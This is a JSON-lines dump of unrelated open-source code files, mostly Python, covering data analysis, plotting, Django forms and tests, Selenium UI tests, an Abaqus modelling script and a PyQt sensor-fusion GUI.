u'TOPP software', u'analysis software', u'data processing software', u'software']),\n])\n# [[[end]]]\n\n\nsoftware_names_by_name = {c.name: c for c in software_names}\n\n\ndef software_name(name):\n try:\n return software_names_by_name[name]\n except KeyError:\n return SoftwareName(name, name, name, name, [name])\n\n\n__all__ = [\n \"SoftwareName\", \"Software\", \"software_names\",\n \"software_name\"\n]\n","sub_path":"ms_deisotope/data_source/metadata/software.py","file_name":"software.py","file_ext":"py","file_size_in_byte":93225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"47872397","text":"import numpy as np\nfrom sklearn.linear_model import ElasticNetCV\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\n\n\ndef main():\n # Load and split data\n # X = np.load('files/X.npy')\n # y = np.load('files/y.npy')\n # X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n\n X_train = np.load('files/X_train.npy')\n X_test = np.load('files/X_test.npy')\n y_train = np.load('files/y_train.npy')\n y_test = np.load('files/y_test.npy')\n\n # Preprocessing - standardization\n st_scaler = StandardScaler()\n X_train_st = st_scaler.fit_transform(X_train)\n X_test_st = st_scaler.fit_transform(X_test)\n\n # Make model\n elasticnet_st = ElasticNetCV(cv=5, verbose=True)\n elasticnet_st.fit(X_train_st, y_train)\n\n # Evaluation model\n elasticnet_st.score(X_test_st, y_test)\n\n\nif __name__ == '__main__':\n main()","sub_path":"enet.py","file_name":"enet.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"596882453","text":"#!/usr/bin/env python\n# -*- coding:UTF-8 -*-\n\"\"\"\nSTEPWISE WORD\n\nCHALLENGE DESCRIPTION:\nPrint the longest word in a stepwise manner.\n\nINPUT SAMPLE:\nThe first argument is a path to a file.\nEach line contains a test case with a list of words that have different\nor the same length.\n\nOUTPUT SAMPLE:\nFind the longest word in each line and print it in one line in a\nstepwise manner. Separate each new step with a space.\nIf there are several words of the same length and they are the longest,\nthen print the first word from the list.\n\"\"\"\n# Future\nfrom __future__ import (absolute_import, division,\n print_function, unicode_literals)\n\n# Standart Library\nimport sys\n\n\ndef file_lines(file_location):\n \"\"\"Output file line-by-line.\"\"\"\n with open(file_location, 'r') as a_file:\n for line in a_file:\n yield line\n\n\ndef stepwise_word(line):\n \"\"\"Print the longest word in a stepwise manner.\"\"\"\n words = line.split()\n longest_word = choose_longest_word(words)\n string = ''\n for i, letter in enumerate(longest_word):\n string += '*' * i + letter + ' '\n return string.strip()\n\n\ndef choose_longest_word(words):\n \"\"\"\n Return longest word in a list.\n\n If there are several longest words, return first one.\n \"\"\"\n longest_word = max(words, key=len)\n return longest_word\n\n\ndef main():\n \"\"\"Program entry point.\"\"\"\n file_location = sys.argv[1]\n for line in file_lines(file_location):\n print(stepwise_word(line))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"python/easy/stepwise_word.py","file_name":"stepwise_word.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"646423071","text":"class WordDistance(object):\n def __init__(self, words):\n \"\"\"\n initialize your data structure here.\n :type words: List[str]\n \"\"\"\n self.cache = dict()\n for i, w in enumerate(words):\n if w not in self.cache:\n self.cache[w] = []\n self.cache[w].append(i)\n\n def shortest(self, word1, word2):\n \"\"\"\n :type word1: str\n :type word2: str\n :rtype: int\n \"\"\"\n return min(abs(idx1 - idx2) for idx1 in self.cache[word1]\n for idx2 in self.cache[word2])\n\n\n# Your WordDistance object will be instantiated and called as such:\n# wordDistance = WordDistance(words)\n# wordDistance.shortest(\"word1\", \"word2\")\n# wordDistance.shortest(\"anotherWord1\", \"anotherWord2\")\n","sub_path":"ShortestWordDistanceII.py","file_name":"ShortestWordDistanceII.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"191147694","text":"# -*- coding: utf-8 -*-\n\nimport hashlib\nimport pickle\n\n\ndef get_md5(item):\n item_str = pickle.dumps(item)\n m = hashlib.md5()\n m.update(item_str)\n return m.hexdigest()\n\n\ndef process_cookies(cookies):\n dict = {}\n for cookie in cookies:\n dict[cookie['name']] = cookie['value']\n return dict\n","sub_path":"multone/extensions/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"203540938","text":"#d4k vs age Scatter plot with:\n#color-coded SF and Q galaxies\n#point size -> mass\n#squares for galaxies with no spec\n#hollow points for galaxies below mass cutoff\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport matplotlib.patches as patches\nimport math\nimport matplotlib\nmatplotlib.rc('xtick', labelsize=14)\nmatplotlib.rc('ytick', labelsize=14)\n\n#import quiescent cluster galaxies with spectra info, set point size\ncluster_spec_quiescent=pd.read_csv('cluster_uvjfastd4k_spec_q.csv')\nc_s_d4kn_q=cluster_spec_quiescent['d4kn'].values\nc_s_lu_q=abs(cluster_spec_quiescent['unc_d4kn_low'].values)\nc_s_uu_q=abs(cluster_spec_quiescent['unc_d4kn_high'].values)\nc_s_mass_q=cluster_spec_quiescent['lmass'].values\nc_s_q_error=[c_s_lu_q,c_s_uu_q]\nc_s_age_q=cluster_spec_quiescent['lage'].values\nfor entry in range(len(c_s_mass_q)):\n c_s_mass_q[entry]=math.exp(c_s_mass_q[entry])\nsize_c_s_q= (400*c_s_mass_q / np.max(c_s_mass_q))\n\n#import star forming cluster galaxies with spectra info, set point size\ncluster_spec_starform=pd.read_csv('cluster_uvjfastd4k_spec_sf.csv')\nc_s_d4kn_sf=cluster_spec_starform['d4kn'].values\nc_s_lu_sf=abs(cluster_spec_starform['unc_d4kn_low'].values)\nc_s_uu_sf=abs(cluster_spec_starform['unc_d4kn_high'].values)\nc_s_mass_sf=cluster_spec_starform['lmass'].values\nc_s_sf_error=[c_s_lu_sf,c_s_uu_sf]\nc_s_age_sf=cluster_spec_starform['lage'].values\nfor entry in range(len(c_s_mass_sf)):\n c_s_mass_sf[entry]=math.exp(c_s_mass_sf[entry])\nsize_c_s_sf= (400*c_s_mass_sf / np.max(c_s_mass_q))\n\n#import star forming cluster galaxies with spectra info but no mass completeness, set point size\ncluster_spec_starform_nm=pd.read_csv('cluster_uvjfastd4k_spec_sf_nomass.csv')\nc_s_d4kn_sf_nm=cluster_spec_starform_nm['d4kn'].values\nc_s_lu_sf_nm=abs(cluster_spec_starform_nm['unc_d4kn_low'].values)\nc_s_uu_sf_nm=abs(cluster_spec_starform_nm['unc_d4kn_high'].values)\nc_s_mass_sf_nm=cluster_spec_starform_nm['lmass'].values\nc_s_sf_nm_error=[c_s_lu_sf_nm,c_s_uu_sf_nm]\nc_s_age_sf_nm=cluster_spec_starform_nm['lage'].values\nfor entry in range(len(c_s_mass_sf_nm)):\n c_s_mass_sf_nm[entry]=math.exp(c_s_mass_sf_nm[entry])\nsize_c_s_sf_nm= (400*c_s_mass_sf_nm / np.max(c_s_mass_q))\n\n#import quiescent cluster galaxies without spectra info, set point size\ncluster_nospec_quiescent=pd.read_csv('cluster_uvjfastd4k_spec_q_nomass.csv')\nc_ns_d4kn_q=cluster_nospec_quiescent['d4kn'].values\nc_ns_lu_q=abs(cluster_nospec_quiescent['unc_d4kn_low'].values)\nc_ns_uu_q=abs(cluster_nospec_quiescent['unc_d4kn_high'].values)\nc_ns_mass_q=cluster_nospec_quiescent['lmass'].values\nc_ns_q_error=[c_ns_lu_q,c_ns_uu_q]\nc_ns_age_q=cluster_nospec_quiescent['lage'].values\nfor entry in range(len(c_ns_mass_q)):\n c_ns_mass_q[entry]=math.exp(c_ns_mass_q[entry])\nsize_c_ns_q= (400*c_ns_mass_q / np.max(c_s_mass_q))\n\n#import star forming cluster galaxies without spectra info, set point size\n#cluster_nospec_starform=pd.read_csv('cluster_uvjfastd4k_nospec_sf.csv')\n#c_ns_d4kn_sf=cluster_nospec_starform['d4kn'].values\n#c_ns_lu_sf=abs(cluster_nospec_starform['unc_d4kn_low'].values)\n#c_ns_uu_sf=abs(cluster_nospec_starform['unc_d4kn_high'].values)\n#c_ns_mass_sf=cluster_nospec_starform['lmass'].values\n#c_ns_sf_error=[c_ns_lu_sf,c_ns_uu_sf]\n#c_ns_age_sf=cluster_nospec_starform['lage'].values\n#for entry in range(len(c_ns_mass_sf)):\n# c_ns_mass_sf[entry]=math.exp(c_ns_mass_sf[entry])\n#size_c_ns_sf= (400*c_ns_mass_sf / np.max(c_s_mass_q))\n\n#import star forming cluster galaxies without spectra info or mass completeness, set point size\n#cluster_nospec_starform_nm=pd.read_csv('cluster_uvjfastd4k_nospec_sf_nomass.csv')\n#c_ns_d4kn_sf_nm=cluster_nospec_starform_nm['d4kn'].values\n#c_ns_lu_sf_nm=abs(cluster_nospec_starform_nm['unc_d4kn_low'].values)\n#c_ns_uu_sf_nm=abs(cluster_nospec_starform_nm['unc_d4kn_high'].values)\n#c_ns_mass_sf_nm=cluster_nospec_starform_nm['lmass'].values\n#c_ns_sf_nm_error=[c_ns_lu_sf_nm,c_ns_uu_sf_nm]\n#c_ns_age_sf_nm=cluster_nospec_starform_nm['lage'].values\n#for entry in range(len(c_ns_mass_sf_nm)):\n# c_ns_mass_sf_nm[entry]=math.exp(c_ns_mass_sf_nm[entry])\n#size_c_ns_sf_nm= (400*c_ns_mass_sf_nm / np.max(c_s_mass_q))\n\n#plot the galaxy points\nfig, splot = plt.subplots()\n\n#kill the gridlines\nsplot.grid(False)\n\n#plot the d4kn vs mass relations for the different galaxy subsets\n#may need to loop over and plot each individual point because errorbar doesn't seem to support changing the point size...\n#the point size scaling for errorbar is very different from scatter...new plan is to plot the errorbars under a normal scatterplot - eliminates need for looping\nsplot.errorbar(c_s_age_q, c_s_d4kn_q,yerr=c_s_q_error,c='FireBrick',marker='o',markersize=1, alpha=1.0,linestyle='None',markeredgewidth=1.5,markeredgecolor='k',capsize=5)\nsplot.errorbar(c_s_age_sf, c_s_d4kn_sf,yerr=c_s_sf_error,c='RoyalBlue',marker='o',markersize=1, alpha=1.0,linestyle='None',markeredgewidth=1.5,markeredgecolor='k',capsize=5)\nsplot.errorbar(c_s_age_sf_nm, c_s_d4kn_sf_nm,yerr=c_s_sf_nm_error,c='RoyalBlue',marker='o',markerfacecolor='White',markersize=1, alpha=1.0,linestyle='None',markeredgewidth=1.5,markeredgecolor='RoyalBlue',capsize=5)\n#splot.errorbar(c_ns_age_q, c_ns_d4kn_q,yerr=c_ns_q_error,c='FireBrick',marker='o',markerfacecolor='White',markersize=1, alpha=1.0,linestyle='None',markeredgewidth=1.5,markeredgecolor='FireBrick',capsize=5)\n#splot.errorbar(c_ns_age_sf, c_ns_d4kn_sf,yerr=c_ns_sf_error,c='RoyalBlue',marker='s',markersize=1, alpha=1.0,linestyle='None',markeredgewidth=1.5,markeredgecolor='k',capsize=5)\n#splot.errorbar(c_ns_age_sf_nm, c_ns_d4kn_sf_nm,yerr=c_ns_sf_nm_error,c='RoyalBlue',marker='s',markerfacecolor='White',markersize=1, alpha=1.0,linestyle='None',markeredgewidth=1.5,markeredgecolor='RoyalBlue',capsize=5)\n\n#now plot the points\nsplot.scatter(c_s_age_q, c_s_d4kn_q, c='FireBrick', s=size_c_s_q, alpha=1.0,linewidths=2,zorder=6)\nsplot.scatter(c_s_age_sf, c_s_d4kn_sf, c='RoyalBlue', s=size_c_s_sf, alpha=1.0,linewidths=2,zorder=6)\nsplot.scatter(c_s_age_sf_nm, c_s_d4kn_sf_nm, c='RoyalBlue', s=size_c_s_sf_nm,facecolors='White', edgecolors='RoyalBlue',alpha=1.0,linewidths=2,zorder=4)\n#splot.scatter(c_ns_age_q, c_ns_d4kn_q, c='FireBrick',facecolors='White', edgecolors='FireBrick', s=size_c_ns_q,marker='o',alpha=1.0,linewidths=2,zorder=5)\n#splot.scatter(c_ns_age_sf, c_ns_d4kn_sf, c='RoyalBlue', s=size_c_ns_sf,marker='s',linewidths=2,alpha=1.0,zorder=5)\n#splot.scatter(c_ns_age_sf_nm, c_ns_d4kn_sf_nm, c='RoyalBlue', s=size_c_ns_sf_nm,marker='s',facecolors='White',edgecolors='RoyalBlue',linewidths=2,alpha=1.0,zorder=5)\n\n#axes labels\nsplot.set_xlabel(r'$log(Age/yr)$', fontsize=18)\nsplot.set_ylabel(r'$D_n(4000)$', fontsize=18)\n\nfig.tight_layout()\n\nplt.ylim(0.0,2.6)\nplt.xlim(7.8,9.5)\nplt.savefig('cluster_d4kage', format='pdf',bbox_inches='tight')\nplt.show()\n","sub_path":"d4k_vs_age.py","file_name":"d4k_vs_age.py","file_ext":"py","file_size_in_byte":6820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"629060990","text":"from django import forms\nfrom .models import Comment\nfrom django.utils.translation import gettext_lazy as _\n\nclass CommentForm(forms.ModelForm):\n class Meta:\n model = Comment\n fields = ('name', 'email', 'body')\n labels = {\n 'name' : _('Имя'),\n 'email': _('Почта'),\n 'body' : _('Текст комментария'),\n }\n\nclass SearchForm(forms.Form):\n ORDER_CHOICES = (\n ('Moody', 'Рейтинг Moody'),\n ('Sp', 'Рейтинг S&P'),\n ('Fitch', 'Рейтинг Fitch'),\n ('Coupon', 'Купон'),\n ('Ticker', 'Тикер'),\n ('IssuerCompany', 'Имя эмитента'),\n ('Currency', 'Валюта'),\n ('Country', 'Страна эмитента'),\n ('Maturity', 'Дата погашения'),\n )\n \n search_string = forms.CharField(max_length=25, required=False, label='Имя эмитента')\n \n ordered_by = forms.ChoiceField(choices=ORDER_CHOICES, required=False, label='Сортировать по')\n descending = forms.BooleanField(initial=True, required=False, label='По убыванию')\n\nclass LoginForm(forms.Form):\n username = forms.CharField(label='Имя')\n password = forms.CharField(widget=forms.PasswordInput, label='Пароль')\n\nclass UploadForm(forms.Form):\n file_ = forms.FileField(label='Имя файла')\n","sub_path":"app/core/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"84598131","text":"import os\n\nHEADER_TYPES = (\".h\", \".hpp\", \".hxx\", \".inl\")\nSOURCE_TYPES = (\".c\", \".cpp\", \".cxx\")\nALL_TYPES = HEADER_TYPES + SOURCE_TYPES\n\ndef main():\n\tcur = os.path.dirname(os.path.realpath(__file__))\n\tos.chdir(cur)\n\n\ttmp = list()\n\twith os.scandir(\"common\") as it:\n\t\tfor entry in it:\n\t\t\tif not entry.name.startswith('.') and entry.is_file():\n\t\t\t\ttmp.append(entry.name)\n\n\theaders = list()\n\tsources = list()\n\tfor file in tmp:\n\t\tname = \"common/\" + file\n\t\tif name.endswith(HEADER_TYPES):\n\t\t\theaders.append(name)\n\t\telif name.endswith(SOURCE_TYPES):\n\t\t\tsources.append(name)\n\n\theaders.sort()\n\tsources.sort()\n\n\tdef do_make(a_filename, a_varname, a_files):\n\t\tout = open(\"cmake/\" + a_filename + \".cmake\", \"w\", encoding=\"utf-8\")\n\t\tout.write(\"set(\" + a_varname + \"\\n\")\n\n\t\tfor file in a_files:\n\t\t\tout.write(\"\\t\" + file + \"\\n\")\n\n\t\tout.write(\")\\n\")\n\n\tdo_make(\"headerlist\", \"headers\", headers)\n\tdo_make(\"sourcelist\", \"sources\", sources)\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"generate_cmake.py","file_name":"generate_cmake.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"100865927","text":"\n\"\"\"\n\n\"\"\"\nfrom mdatapipe.engine import PluginRuntime\nfrom collections import OrderedDict\nfrom pprint import pformat\nfrom sys import stderr\nimport xmltodict\nimport json\n\n# from pprint import pprint\n# from sys import stderr\n\n\nclass Plugin(PluginRuntime):\n\n def on_input(self, item):\n new_item = self.parse(item, self.config)\n self.put(new_item)\n\n def extract_xml_dict(self, xml_dict, dict_item): # NOQA: C901\n current_dict = OrderedDict()\n for key, value in dict_item.items():\n if isinstance(value, str):\n if value == \".\":\n value = key\n try:\n source_item = xml_dict[key]\n except KeyError:\n continue\n except TypeError:\n print(\"E001 TypeError on XML parsing\", file=stderr)\n print(\"xml_dict (%s)\" % type(xml_dict), file=stderr)\n print(\"key=%s\" % key, file=stderr)\n print(\"xml_dict=%s\" % pformat(xml_dict), file=stderr)\n exit(1)\n current_dict[value] = source_item\n elif isinstance(value, dict):\n for subdict_key, subdict_value in value.items():\n if subdict_key[0] == \"@\":\n current_dict[subdict_value] = xml_dict[key][subdict_key]\n else:\n try:\n sub_dict = xml_dict[key]\n except KeyError: # We simply ignore keys which are not found\n continue\n except TypeError:\n print(\"E002 TypeError on XML parsing\", file=stderr)\n print(\"xml_dict (%s)\" % type(xml_dict), file=stderr)\n print(\"key=%s\" % key, file=stderr)\n print(\"xml_dict=%s\" % pformat(xml_dict), file=stderr)\n sub_result = self.extract_xml_dict(sub_dict, value)\n current_dict.update(sub_result)\n return current_dict\n\n def parse(self, xml_input, yaml_input):\n\n xml_dict = xmltodict.parse(xml_input)\n\n if not isinstance(yaml_input, dict):\n raise ValueError(\"ERROR: YAML data must start with a dict\")\n extract_result = []\n extract_result = self.extract_xml_dict(xml_dict, yaml_input)\n return json.loads(json.dumps(extract_result)) # Convert OrderedDicts to Dicts\n","sub_path":"mdatapipe/plugins/parse/text/xml_sub.py","file_name":"xml_sub.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"67471298","text":"from django.contrib.auth.models import User\nfrom django.test import TestCase\n\nimport activity\n\n\nclass ActivityModelTests(TestCase):\n\n test_username = 'testuser'\n test_password = 'pass'\n test_email = 'testuser@mozillafoundation.org'\n\n def setUp(self):\n self.user = User.objects.create(username=self.test_username,\n password=self.test_password,\n email=self.test_email)\n\n def test_activity_with_remote_actor(self):\n actor = dict(\n name='paulosman',\n uri='http://paulosman.status.net/user/1',\n )\n object = dict(\n type='http://activitystrea.ms/schema/1.0/person',\n )\n verb = 'http://activitystrea.ms/schema/1.0/follow'\n act = activity.send(actor, verb, object)\n self.assertEqual(verb, act.verb)\n self.assertTrue(act.actor.is_remote())\n self.assertEqual(actor['name'], act.actor.username)\n self.assertEqual(actor['uri'], act.actor.uri)\n self.assertEqual(object['type'], act.object.type)\n self.assertEqual(actor['name'], act.actor.name)\n\n def test_activity_with_local_user(self):\n act = activity.send(self.user, 'follow', self.user)\n self.assertEqual('http://activitystrea.ms/schema/1.0/follow', act.verb)\n self.assertFalse(act.actor.is_remote())\n self.assertEqual(self.user, act.actor.user)\n self.assertEqual(self.user, act.object)\n self.assertEqual(self.user.username, act.actor.username)\n self.assertEqual(self.user.email, act.actor.email)\n self.assertEqual(self.user.username, act.actor.name)\n\n def test_remote_object_missing_type(self):\n self.assertRaises(activity.ActivityError,\n lambda: activity.send(dict(name='Paul'), 'follow',\n dict(uri='http://example.com')))\n\n def test_remote_target_missing_type(self):\n self.assertRaises(activity.ActivityError,\n lambda: activity.send(dict(name='Paul'), 'follow',\n dict(uri='http://example.com')))\n","sub_path":"activity/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"26264484","text":"from abaqus import *\r\nfrom abaqusConstants import *\r\nfrom caeModules import *\r\nfrom driverUtils import executeOnCaeStartup\r\nexecuteOnCaeStartup()\r\nimport sys\r\nsys.path.insert(15, r'c:/Temp/abaqus_plugins/createmodel')\r\nimport createmodel\r\njobname = 'chap4_sec5_spec1_c4'\r\ncreatemodel.createmodel(\r\n lt='200', wt='200', \r\n layup='0 90 0 90 0 90 0 90 0 90 0 90 0 90 0 90', \r\n thick='0.13 0.13 0.13 0.13 0.13 0.13 0.13 0.13 0.13 0.13 0.13 0.13 0.13 \\\r\n 0.13 0.13 0.13', \r\n Ndelamcirc='', \r\n Ndelamrect='4 2 6', \r\n xpcirc='', ypcirc='', diameter='', \r\n fcircin='', fcircout='', \r\n xprect='55 0 -55', yprect='0 55 0', \r\n rectdim1='40 40 40', rectdim2='40 40 40', \r\n chd0='', chx0='', chy0='', \r\n rhx0='', rhy0='', rhdim1='', rhdim2='', \r\n exctype='Transducer', sith0='2.0', sid0='20.0', six0='0.0', siy0='0.0', \\\r\n siside0='Upper', \r\n pointexcpos0='-20 20 2', outtransducers=True, soth0='1 1 1 1', \r\n sod0='10 10 10 10', sox0='55 0 -55 0', soy0='0 55 0 -55', \r\n soside0='Upper Upper Upper Upper', \r\n fixededges='', \r\n studytype='Time dependent', \r\n signaltype='Sweep signal excitation (SWP)', \r\n f0sfe='', A0sfe='', xi0sfe='', N0sfe='', N0initsfe='', N0endsfe='', \\\r\n N0zerosfe='', n0sfe='', \r\n f0vam='', A0vam='', xi0vam='', N0vam='', N0initvam='', f1vam='', \\\r\n A1vam='', xi1vam='', n0vam='', \r\n f0swp='50', f1swp='60', A0swp='1e-6', xiswp='0.01', N0riseswp='5', \\\r\n N0dropswp='5', Nsteps_approx='6000', n0swp='12', \r\n f0asfe='', A0asfe='', N0asfe='', m0asfe='', n0asfe='', xi0asfe='', \r\n N0eigen='', fmin='', fmax='', fstep='', \r\n cE='107 7.99 7.99', cv='0.32 0.32 0.4', cG='4.00 4.00 2.5', crh='1600', \r\n sE='123.0 76.7 123.0 70.25 70.25 97.11 22.26 22.26 23.15', srh='7800', \r\n cmr1='', cmr2='', \r\n cmr3='', dm='', \r\n intact=False, surfintmu='0.3', surfintK='3e11 3e11 3e11', \r\n explicit=True, redint=True, inpiezo=False, outpiezo=False, elquad=False, \r\n jobname=jobname, workdir='C:/Temp', savefile=False,\r\n fielddelam=True, fieldouttrans=True, fieldintrans=True, fieldlower=False, \\\r\n fieldupper=True, fieldall=False, \r\n s0mesh='0.00123165')\r\na = mdb.models['Model-1'].rootAssembly\r\ndatum = a.DatumCsysByThreePoints(name='Datum csys-2', coordSysType=CYLINDRICAL, \r\n origin=(0.0, 0.0, 0.0), point1=(1.0, 0.0, 0.0), point2=(1.0, 1.0, 0.0))\r\nregion = a.sets['Input-trans1-curved']\r\nmdb.models['Model-1'].DisplacementBC(name='BC-1', createStepName='Step-1', \r\n region=region, u1=0.1, u2=UNSET, u3=0.0, ur1=UNSET, ur2=UNSET, ur3=UNSET, \r\n amplitude='Amp-2', fixed=OFF, distributionType=UNIFORM, fieldName='', \r\n localCsys=a.datums[datum.id])\r\nmdb.jobs[jobname].submit(consistencyChecking=OFF)\r\n","sub_path":"chap4/chap4_sec5_spec1_c4.py","file_name":"chap4_sec5_spec1_c4.py","file_ext":"py","file_size_in_byte":2743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"137254880","text":"# -*- encoding: utf-8\n\n\ndef build_report_output(report, description=\"run tests\"):\n \"\"\"\n Build a human-readable string that explains why we are/aren't running tests.\n \"\"\"\n lines = []\n\n for significance, prefix in [(True, \"Reasons to\"), (False, \"Reasons not to\")]:\n if report[significance]:\n lines.append(\"## %s %s ##\" % (prefix, description))\n for reason, affected_paths in report[significance].items():\n lines.append(\"\\n%s:\" % reason)\n for p in sorted(affected_paths):\n lines.append(\" - %s\" % p)\n\n lines.append(\"\\n\")\n\n return \"\\n\".join(lines).strip()\n","sub_path":"travistooling/reports.py","file_name":"reports.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"71863068","text":"import numpy as np\nimport cv2\n\ndef showImage():\n imgfile = 'images/1.jpg'\n img = cv2.imread(imgfile, cv2.IMREAD_COLOR)\n\n cv2.imshow('sul', img)\n\n # 키보드 입력에 대한 처리\n k = cv2.waitKey(0) & 0xFF\n\n if k == 27:\n cv2.destroyAllWindows()\n elif k == ord('c'):\n cv2.imwrite('images/sul_copy.jpg', img)\n cv2.destroyAllWindows()\n\nshowImage()\n\nfor i in range(100):\n print(i)\n imgfile = 'images/{0}.jpg'.format(i)\n img = cv2.imread(imgfile, cv2.IMREAD_COLOR)\n cv2.imwrite('images/{0}.jpg'.format(i+1), img)\n","sub_path":"CV/Open_CV/image_proccess/key_event.py","file_name":"key_event.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"383542066","text":"## Common utilities for the sample framework...\n##\ndef getPluginPath():\n \"\"\"Return the absolute path to a valid plugins.cfg file.\"\"\" \n import sys\n import os\n import os.path\n \n paths = [os.path.join(os.getcwd(), 'plugins.cfg'),\n '/etc/OGRE/plugins.cfg',\n os.path.join(os.path.dirname(os.path.abspath(__file__)),\n 'plugins.cfg')]\n for path in paths:\n if os.path.exists(path):\n return path\n\n sys.stderr.write(\"\\n\"\n \"** Warning: Unable to locate a suitable plugins.cfg file.\\n\"\n \"** Warning: Please check your ogre installation and copy a\\n\"\n \"** Warning: working plugins.cfg file to the current directory.\\n\\n\")\n raise ogre.Exception(0, \"can't locate the 'plugins.cfg' file\", \"\")\n","sub_path":"linux/ogre/renderer/OGRE/sf_utils.py","file_name":"sf_utils.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"487358607","text":"from seleniumbase import BaseCase\n\n\nclass BaseTestCase(BaseCase):\n def is_logged_in(self):\n return self.is_text_visible('sderkins', '#toolbar-item-user')\n\n def login_as_purchaser(self):\n self.open(\"http://drupal/user/login\")\n self.type('#edit-name', 'sderkins')\n self.type('#edit-pass', 'sderkins')\n self.click('#edit-submit')\n\n def logout(self):\n self.open(\"http://drupal/user/logout\")\n\n def assert_no_content(self, logout=True):\n self.open(\"http://drupal\")\n\n if not self.is_logged_in():\n self.login_as_purchaser()\n\n self.open(\"http://drupal/admin/content\")\n self.assert_text('No content available.')\n\n if logout:\n self.logout()\n\n def delete_content(self):\n if not self.is_logged_in():\n self.login_as_purchaser()\n\n self.open(\"http://drupal/admin/content\")\n\n if not self.is_text_visible('No content available.'):\n self.select_option_by_text(\"#edit-action\", \"Delete content\")\n self.check_if_unchecked('[title=\"Select all rows in this table\"]')\n self.click(\"#edit-submit\")\n\n # Confirm\n self.click(\"#edit-submit\")\n\n self.assert_text('No content available.')\n","sub_path":"selenium/base_test_case.py","file_name":"base_test_case.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"181511284","text":"from PyQt5 import QtCore, QtWidgets\nfrom gui import Ui_MainWindow\nimport sys\nfrom sensorFusion import SensorFusion\nimport numpy as np\nfrom PyQt5.QtWidgets import QMessageBox\nfrom serial import SerialException, SerialTimeoutException\nimport uart_config_dialog\n\nSAMPLE_PERIOD = 0.01\nFRAME_RATE = 60\n\n\nclass MainWindow(QtWidgets.QMainWindow):\n\n def __init__(self, *args, **kwargs):\n super(MainWindow, self).__init__(*args, **kwargs)\n\n self.ui = Ui_MainWindow(self)\n\n self.ui.actionConnect.triggered.connect(self.uart_connect)\n self.ui.actionRun.triggered.connect(self.plot_run)\n self.ui.actionInfo.triggered.connect(self.help_msg)\n\n self.sensor_fusion = SensorFusion()\n\n self.update_plot()\n\n self.show()\n\n # Setup a timer to trigger the redraw by calling update_plot.\n self.timer = QtCore.QTimer()\n self.timer.setInterval(round(1000/FRAME_RATE))\n self.timer.timeout.connect(self.update_plot)\n\n self.show()\n\n def update_plot(self):\n # Drop off the first y element, append a new one.\n try:\n data = self.sensor_fusion.get_data()\n except (SerialException, SerialTimeoutException):\n self.uart_error()\n self.timer.stop()\n return\n\n if len(data['acc']) > 0:\n roll, pitch = self.sensor_fusion.get_angles(data)\n\n it = zip(\n (\n roll, pitch, *(data['acc'].swapaxes(0, 1)), *(data['gyro'].swapaxes(0, 1))\n ),\n (\n self.ui.graphicsView_roll_t, self.ui.graphicsView_pitch_t,\n self.ui.graphicsView_acc_x_t, self.ui.graphicsView_acc_y_t, self.ui.graphicsView_acc_z_t,\n self.ui.graphicsView_gyro_x_t, self.ui.graphicsView_gyro_y_t, self.ui.graphicsView_gyro_z_t\n ),\n (\n self.ui.graphicsView_roll_f, self.ui.graphicsView_pitch_f,\n self.ui.graphicsView_acc_x_f, self.ui.graphicsView_acc_y_f, self.ui.graphicsView_acc_z_f,\n self.ui.graphicsView_gyro_x_f, self.ui.graphicsView_gyro_y_f, self.ui.graphicsView_gyro_z_f\n )\n )\n\n for ydata, time_plot, freq_plot in it:\n time_plot.update_plot(ydata)\n\n fft = np.fft.fftshift(np.abs(np.fft.fft(time_plot.ydata))**2)\n f = np.fft.fftshift(np.fft.fftfreq(len(time_plot.ydata), d=0.01))\n fft = fft[f > 0]\n freq_plot.update_plot(fft/np.max(fft))\n\n def plot_run(self):\n if self.ui.actionRun.isChecked():\n if self.ui.actionConnect.isChecked():\n self.sensor_fusion.start()\n self.timer.start()\n else:\n self.ui.actionRun.setChecked(False)\n self.unconnected_error()\n else:\n self.plot_stop()\n\n def unconnected_error(self):\n msg = QMessageBox()\n msg.setWindowTitle('Error')\n msg.setText('Please connect to a serial port')\n msg.setIcon(QMessageBox.Warning)\n msg.setStandardButtons(QMessageBox.Ok)\n msg.setDetailedText(\"To connect to a serial port, go to Settings -> Connect. \" +\n \"If you don't see the port you need listed, check that no other apps are using it.\")\n msg.exec_()\n\n def plot_stop(self):\n self.timer.stop()\n 